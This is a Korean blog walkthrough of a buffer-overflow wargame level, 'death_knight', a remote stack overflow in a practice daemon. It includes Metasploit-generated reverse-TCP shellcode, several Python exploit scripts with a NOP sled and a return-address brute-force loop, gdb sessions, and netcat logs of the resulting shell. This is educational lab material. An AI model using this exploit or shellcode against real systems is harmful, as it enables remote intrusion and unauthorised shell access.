Wargame

BOF 원정대 - Level 20 (death_knight)

문제 소스는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main()
{
        char buffer[40];

        int server_fd, client_fd;  
        struct sockaddr_in server_addr;   
        struct sockaddr_in client_addr; 
        int sin_size;

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
                exit(1);
        }

        server_addr.sin_family = AF_INET;        
        server_addr.sin_port = htons(6666);   
        server_addr.sin_addr.s_addr = INADDR_ANY; 
        bzero(&(server_addr.sin_zero), 8);   

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
                perror("bind");
                exit(1);
        }

        if(listen(server_fd, 10) == -1){
                perror("listen");
                exit(1);
        }

        while(1) {  
                sin_size = sizeof(struct sockaddr_in);
                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
                        perror("accept");
                        continue;
                }

                if (!fork()){ 
                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
                        send(client_fd, "You : ", 6, 0);
                        recv(client_fd, buffer, 256, 0);
                        close(client_fd);
                        break;
                }

                close(client_fd);  
                while(waitpid(-1,NULL,WNOHANG) > 0);
        }
        close(server_fd);
}

이번 문제는 Remote BOF 문제이다. 포트를 6666번을 열고 프로세스를 하나 fork 하면서 데몬이 동작하게 된다. 취약점은 buffer 변수의 크기보다 큰 데이터를 recv() 함수에서 받도록 되어 있어 해당 부분에서 오버플로우가 발생할 수 있다. 따라서 attach를 하여 디버깅을 하여 보도록 하자. 디버깅 전 우선 리모트로 공격을 하기 위한 코드를 작성해보자.

먼저 쉘코드이다. 쉘코드는 Metasploit에 있는 쉘코드를 이용해 보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
                           |_|

       =[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 644 exploits - 328 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11749 updated today (2011.02.14)

msf > show payloads

Payloads
========

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
.
.
.
[생략]
.
.
.

   linux/x86/shell/find_tag                                          normal  Linux Command Shell, Find Tag Stager
   linux/x86/shell/reverse_ipv6_tcp                                  normal  Linux Command Shell, Reverse TCP Stager (IPv6)
   linux/x86/shell/reverse_tcp                                       normal  Linux Command Shell, Reverse TCP Stager
   linux/x86/shell_bind_ipv6_tcp                                     normal  Linux Command Shell, Bind TCP Inline (IPv6)
   linux/x86/shell_bind_tcp                                          normal  Linux Command Shell, Bind TCP Inline
   linux/x86/shell_find_port                                         normal  Linux Command Shell, Find Port Inline
   linux/x86/shell_find_tag                                          normal  Linux Command Shell, Find Tag Inline
   linux/x86/shell_reverse_tcp                                       normal  Linux Command Shell, Reverse TCP Inline
   linux/x86/shell_reverse_tcp2                                      normal  Linux Command Shell, Reverse TCP Inline - Metasm demo
   netware/shell/reverse_tcp                                         normal  NetWare Command Shell, Reverse TCP Stager
   osx/armle/execute/bind_tcp                                        normal  OSX Write and Execute Binary, Bind TCP Stager
   osx/armle/execute/reverse_tcp                                     normal  OSX Write and Execute Binary, Reverse TCP Stager
   osx/armle/shell/bind_tcp                                          normal  OSX Command Shell, Bind TCP Stager
   osx/armle/shell/reverse_tcp                                       normal  OSX Command Shell, Reverse TCP Stager
.
.
.

msf > use  linux/x86/shell_reverse_tcp
msf payload(shell_reverse_tcp) > show options

Module options (payload/linux/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port

msf payload(shell_reverse_tcp) > set LHOST 192.168.3.1
LHOST => 192.168.3.1
msf payload(shell_reverse_tcp) > generate
# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
buf =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +
"\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53" +
"\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87" +
"\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68" +
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd" +
"\x80"
msf payload(shell_reverse_tcp) >

이제 Python으로 공격용 코드를 작성해 보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
    print '[+] Connect - %s:%d' % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    a = s.recv(128)
    print '[+] Receive - %s' % a

    #######################
    # DEGUG
    debug = raw_input('Please hit enter to continue')
    #######################

    print '[+] Sending Payload'
    s.send(payload)

    s.close()

def main():
    host = '192.168.3.129'
    port = 31337

    payload = ''
    payload += 'A'*44
    payload += pack('<L', 0xbbbbbbbb)
    payload += '\x90'*100
    payload += shellcode

    send_payload(host, port, payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()

이제 모두 준비가 완료되었으니 디버깅을 해보도록 하자. 현재 서버에서 6666 포트로 데몬이 동작하고 있으나 해당 데몬을 디버깅 할 수 있는 권한이 없으므로 소스를 포트번호만 31337로 수정 후 컴파일 하여 아래와 같이 실행을 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

[xavius@localhost xavius]$ cp death_knight.c death_knight_modify.c
[xavius@localhost xavius]$ gcc death_knight_modify.c -o death_knight_modify   
[xavius@localhost xavius]$ ls
death_knight  death_knight.c  death_knight_modify  death_knight_modify.c
[xavius@localhost xavius]$ ./death_knight_modify &
[1] 682
[xavius@localhost xavius]$ id         
uid=519(xavius) gid=519(xavius) groups=519(xavius)
[xavius@localhost xavius]$ ps -ef | grep xavius
death_kn   632     1  0 23:07 ?        00:00:00 /home/xavius/death_knight
root       643   642  0 23:08 pts/0    00:00:00 login -- xavius            
xavius     644   643  0 23:09 pts/0    00:00:00 -bash2
xavius     682   644  0 23:23 pts/0    00:00:00 ./death_knight_modify
xavius     687   644  0 23:23 pts/0    00:00:00 ps -ef
xavius     688   644  0 23:23 pts/0    00:00:00 -bash2
[xavius@localhost xavius]$

현재 PID가 682번으로 데몬이 동작함을 알 수 있다. 여기서 위에서 작성한 Python 공격 코드를 실행하게 되면 Payload 전송 전 커서를 입력받도록 대기를 하게 되며 이 순간에 해당 데몬은 새로운 자식 프로세스를 fork 하게 된다. 아래는 위에서 작성한 Python 공격 코드를 실행 후 엔터를 치기 전 상태이다.

1
2
3
4
5
6
7
8
9

[xavius@localhost xavius]$ ps -ef | grep xavius
death_kn   632     1  0 23:07 ?        00:00:00 /home/xavius/death_knight
root       643   642  0 23:08 pts/0    00:00:00 login -- xavius            
xavius     644   643  0 23:09 pts/0    00:00:00 -bash2
xavius     682   644  0 23:23 pts/0    00:00:00 ./death_knight_modify
xavius     916   682  0 23:34 pts/0    00:00:00 ./death_knight_modify
xavius     919   644  0 23:35 pts/0    00:00:00 ps -ef
xavius     920   644  0 23:35 pts/0    00:00:00 -bash2
[xavius@localhost xavius]$

PID 682번이 자식 프로세스로 916 PID 프로세스를 생성했음을 알 수 있다. 따라서 우리는 916 프로세스에 attach를 하여 디버깅을 해야 한다. 디버깅 하는 과정은 아래와 같다.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166

[xavius@localhost xavius]$ gdb death_knight_modify
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) attach 916
Attaching to program: /home/xavius/death_knight_modify, Pid 916
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400cabc2 in __libc_recv () from /lib/libc.so.6
(gdb) disassemble main
Dump of assembler code for function main:
0x80488c4 <main>:       push   %ebp
0x80488c5 <main+1>:     mov    %esp,%ebp
0x80488c7 <main+3>:     sub    $0x54,%esp
0x80488ca <main+6>:     push   $0x0
0x80488cc <main+8>:     push   $0x1
0x80488ce <main+10>:    push   $0x2
0x80488d0 <main+12>:    call   0x804861c <socket>
0x80488d5 <main+17>:    add    $0xc,%esp
0x80488d8 <main+20>:    mov    %eax,%eax
0x80488da <main+22>:    mov    %eax,0xffffffd4(%ebp)
0x80488dd <main+25>:    cmpl   $0xffffffff,0xffffffd4(%ebp)
0x80488e1 <main+29>:    jne    0x8048900 <main+60>
0x80488e3 <main+31>:    push   $0x8048afb
0x80488e8 <main+36>:    call   0x804853c <perror>
0x80488ed <main+41>:    add    $0x4,%esp
0x80488f0 <main+44>:    push   $0x1
0x80488f2 <main+46>:    call   0x80485dc <exit>
0x80488f7 <main+51>:    add    $0x4,%esp
0x80488fa <main+54>:    lea    0x0(%esi),%esi
0x8048900 <main+60>:    movw   $0x2,0xffffffc0(%ebp)
0x8048906 <main+66>:    push   $0x7a69
0x804890b <main+71>:    call   0x80485fc <htons>
0x8048910 <main+76>:    add    $0x4,%esp
0x8048913 <main+79>:    mov    %eax,%eax
0x8048915 <main+81>:    mov    %ax,0xffffffc2(%ebp)
0x8048919 <main+85>:    movl   $0x0,0xffffffc4(%ebp)
0x8048920 <main+92>:    push   $0x8
0x8048922 <main+94>:    lea    0xffffffc0(%ebp),%eax
0x8048925 <main+97>:    lea    0x8(%eax),%edx
0x8048928 <main+100>:   push   %edx
0x8048929 <main+101>:   call   0x80485cc <bzero>
0x804892e <main+106>:   add    $0x8,%esp
0x8048931 <main+109>:   push   $0x10
0x8048933 <main+111>:   lea    0xffffffc0(%ebp),%edx
0x8048936 <main+114>:   mov    %edx,%eax
0x8048938 <main+116>:   push   %eax
---Type <return> to continue, or q <return> to quit---
0x8048939 <main+117>:   mov    0xffffffd4(%ebp),%eax
0x804893c <main+120>:   push   %eax
0x804893d <main+121>:   call   0x80485bc <bind>
0x8048942 <main+126>:   add    $0xc,%esp
0x8048945 <main+129>:   mov    %eax,%eax
0x8048947 <main+131>:   cmp    $0xffffffff,%eax
0x804894a <main+134>:   jne    0x8048963 <main+159>
0x804894c <main+136>:   push   $0x8048b02
0x8048951 <main+141>:   call   0x804853c <perror>
0x8048956 <main+146>:   add    $0x4,%esp
0x8048959 <main+149>:   push   $0x1
0x804895b <main+151>:   call   0x80485dc <exit>
0x8048960 <main+156>:   add    $0x4,%esp
0x8048963 <main+159>:   push   $0xa
0x8048965 <main+161>:   mov    0xffffffd4(%ebp),%eax
0x8048968 <main+164>:   push   %eax
0x8048969 <main+165>:   call   0x804856c <listen>
0x804896e <main+170>:   add    $0x8,%esp
0x8048971 <main+173>:   mov    %eax,%eax
0x8048973 <main+175>:   cmp    $0xffffffff,%eax
0x8048976 <main+178>:   jne    0x8048990 <main+204>
0x8048978 <main+180>:   push   $0x8048b07
0x804897d <main+185>:   call   0x804853c <perror>
0x8048982 <main+190>:   add    $0x4,%esp
0x8048985 <main+193>:   push   $0x1
0x8048987 <main+195>:   call   0x80485dc <exit>
0x804898c <main+200>:   add    $0x4,%esp
0x804898f <main+203>:   nop    
0x8048990 <main+204>:   nop    
0x8048991 <main+205>:   jmp    0x8048998 <main+212>
0x8048993 <main+207>:   jmp    0x8048a60 <main+412>
0x8048998 <main+212>:   movl   $0x10,0xffffffac(%ebp)
0x804899f <main+219>:   lea    0xffffffac(%ebp),%eax
0x80489a2 <main+222>:   push   %eax
0x80489a3 <main+223>:   lea    0xffffffb0(%ebp),%edx
0x80489a6 <main+226>:   mov    %edx,%eax
0x80489a8 <main+228>:   push   %eax
---Type <return> to continue, or q <return> to quit---
0x80489a9 <main+229>:   mov    0xffffffd4(%ebp),%eax
0x80489ac <main+232>:   push   %eax
0x80489ad <main+233>:   call   0x804855c <accept>
0x80489b2 <main+238>:   add    $0xc,%esp
0x80489b5 <main+241>:   mov    %eax,%eax
0x80489b7 <main+243>:   mov    %eax,0xffffffd0(%ebp)
0x80489ba <main+246>:   cmpl   $0xffffffff,0xffffffd0(%ebp)
0x80489be <main+250>:   jne    0x80489d0 <main+268>
0x80489c0 <main+252>:   push   $0x8048b0e
0x80489c5 <main+257>:   call   0x804853c <perror>
0x80489ca <main+262>:   add    $0x4,%esp
0x80489cd <main+265>:   jmp    0x8048991 <main+205>
0x80489cf <main+267>:   nop    
0x80489d0 <main+268>:   call   0x804854c <fork>
0x80489d5 <main+273>:   mov    %eax,%eax
0x80489d7 <main+275>:   test   %eax,%eax
0x80489d9 <main+277>:   jne    0x8048a30 <main+364>
0x80489db <main+279>:   push   $0x0
0x80489dd <main+281>:   push   $0x34
0x80489df <main+283>:   push   $0x8048b20
0x80489e4 <main+288>:   mov    0xffffffd0(%ebp),%eax
0x80489e7 <main+291>:   push   %eax
0x80489e8 <main+292>:   call   0x80485ec <send>
0x80489ed <main+297>:   add    $0x10,%esp
0x80489f0 <main+300>:   push   $0x0
0x80489f2 <main+302>:   push   $0x6
0x80489f4 <main+304>:   push   $0x8048b55
0x80489f9 <main+309>:   mov    0xffffffd0(%ebp),%eax
0x80489fc <main+312>:   push   %eax
0x80489fd <main+313>:   call   0x80485ec <send>
0x8048a02 <main+318>:   add    $0x10,%esp
0x8048a05 <main+321>:   push   $0x0
0x8048a07 <main+323>:   push   $0x100
0x8048a0c <main+328>:   lea    0xffffffd8(%ebp),%eax
0x8048a0f <main+331>:   push   %eax
0x8048a10 <main+332>:   mov    0xffffffd0(%ebp),%eax
0x8048a13 <main+335>:   push   %eax
---Type <return> to continue, or q <return> to quit---
0x8048a14 <main+336>:   call   0x804860c <recv>
0x8048a19 <main+341>:   add    $0x10,%esp
0x8048a1c <main+344>:   mov    0xffffffd0(%ebp),%eax
0x8048a1f <main+347>:   push   %eax
0x8048a20 <main+348>:   call   0x804852c <close>
0x8048a25 <main+353>:   add    $0x4,%esp
0x8048a28 <main+356>:   jmp    0x8048a60 <main+412>
0x8048a2a <main+358>:   lea    0x0(%esi),%esi
0x8048a30 <main+364>:   mov    0xffffffd0(%ebp),%eax
0x8048a33 <main+367>:   push   %eax
0x8048a34 <main+368>:   call   0x804852c <close>
0x8048a39 <main+373>:   add    $0x4,%esp
0x8048a3c <main+376>:   lea    0x0(%esi,1),%esi
0x8048a40 <main+380>:   push   $0x1
0x8048a42 <main+382>:   push   $0x0
0x8048a44 <main+384>:   push   $0xffffffff
0x8048a46 <main+386>:   call   0x804858c <waitpid>
0x8048a4b <main+391>:   add    $0xc,%esp
0x8048a4e <main+394>:   mov    %eax,%eax
0x8048a50 <main+396>:   test   %eax,%eax
0x8048a52 <main+398>:   jg     0x8048a56 <main+402>
0x8048a54 <main+400>:   jmp    0x8048a58 <main+404>
0x8048a56 <main+402>:   jmp    0x8048a40 <main+380>
0x8048a58 <main+404>:   jmp    0x8048991 <main+205>
0x8048a5d <main+409>:   lea    0x0(%esi),%esi
0x8048a60 <main+412>:   mov    0xffffffd4(%ebp),%eax
0x8048a63 <main+415>:   push   %eax
0x8048a64 <main+416>:   call   0x804852c <close>
0x8048a69 <main+421>:   add    $0x4,%esp
0x8048a6c <main+424>:   leave  
0x8048a6d <main+425>:   ret    
0x8048a6e <main+426>:   nop    
0x8048a6f <main+427>:   nop    
End of assembler dump.
(gdb) b *main+341
Breakpoint 1 at 0x8048a19
(gdb) c
Continuing.

위와 같이 작업을 한 후 실행한 Python 공격코드에서 엔터를 치게 되면 우리가 지정한 브레이크 포인트에 멈추게 된다. 멈추가 되면 그때 스택의 주소를 확인하면 된다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

Breakpoint 1, 0x8048a19 in main ()
(gdb) x/32wx $esp
0xbffffaa4:     0x00000004      0xbffffae0      0x00000100      0x00000000
0xbffffab4:     0x00000010      0xe60a0002      0x0103a8c0      0x00000246
0xbffffac4:     0x023a2065      0x697a0002      0x00000000      0x00000000
0xbffffad4:     0x00000000      0x00000004      0x00000003      0x41414141
0xbffffae4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaf4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb04:     0x41414141      0x41414141      0xbbbbbbbb      0x90909090
0xbffffb14:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb) 
0xbffffb24:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb34:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb44:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb54:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb64:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb74:     0xe3f7db31      0x6a534353      0xb0e18902      0x5b80cd66
0xbffffb84:     0xa8c0685e      0x68660103      0x53665c11      0x5051106a
0xbffffb94:     0x6a43e189      0x80cd5866      0xb0d98759      0x4980cd3f
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbbbbbbbb in ?? ()
(gdb)

실행 후 확인한 결과 우리가 원하는 대로 리턴 주소가 0xbbbbbbbb로 변경되었음을 알 수 있다. 따라서 아래와 같이 PAYLOAD를 작성 후 공격을 진행하면 될 것으로 보인다.

[AAA..... 44 Byte] [NOP가 위치한 주소, 넉넉잡아 0xbffffb34] [NOP, 100 Byte] [SHELLCODE]

공격코드를 작성하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
    print '[+] Connect - %s:%d' % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    a = s.recv(128)
    print '[+] Receive - %s' % a

    #######################
    # DEGUG
    # debug = raw_input('Please hit enter to continue')
    #######################

    print '[+] Sending Payload'
    s.send(payload)

    s.close()

def main():
    host = '192.168.3.129'
    port = 31337

    payload = ''
    payload += 'A'*44
    payload += pack('<L', 0xbffffb34)
    payload += '\x90'*100
    payload += shellcode

    send_payload(host, port, payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()

위 코드로 공격을 진행하기 전 netcat으로 아래와 같이 리스닝 모드로 대기한 후 공격코드를 실행하면 연결이 됨을 확인할 수 있다.

1
2
3
4
5
6
7
8
9

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed:  : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1026
id
uid=519(xavius) gid=519(xavius) groups=519(xavius)

이제 본 프로그램에 공격을 하자. 위 코드로 포트만 6666 으로 변경 후 공격을 해보면 공격이 성공하지 않음을 알 수 있다. 이는 리턴주소가 우리가 디버깅한 데몬이랑 약간 차이가 나서 그럴 것으로 보인다. 따라서 우리가 확인한 주소에서 조금씩 더해가며 브루트포스 공격을 해야 한다. 수정한 공격 코드는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
    print '[+] Connect - %s:%d' % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    a = s.recv(128)
    print '[+] Receive - %s' % a

    #######################
    # DEGUG
    # debug = raw_input('Please hit enter to continue')
    #######################

    print '[+] Sending Payload'
    s.send(payload)

    s.close()

def main():
    for x in range(1, 1000):
        print hex(0xbffffb34+x)
        host = '192.168.3.129'
        port = 6666

        payload = ''
        payload += 'A'*44
        payload += pack( '<L', 0xbffffb34+(x*4) )
        payload += '\x90'*100
        payload += shellcode

        send_payload(host, port, payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()

0xbffffb34 주소에서 4씩 증가시키며 공격을 진행하는 코드이다. 실행 후 잠시 기다리면 아래와 같이 쉘을 획득할 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed:  : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1026
id
uid=519(xavius) gid=519(xavius) groups=519(xavius)
 sent 3, rcvd 51

C:\cygwin\bin>
C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed:  : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1027
id
uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)
my-pass
euid = 520
got the life
cd /home/death_knight/
ls
dropped_item.txt
cat dropped_item.txt

 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,'
                   `'
© 2009 - 2026 ByJJoon's Lab
Hugo로 만듦
Jimmy의 Stack 테마 사용 중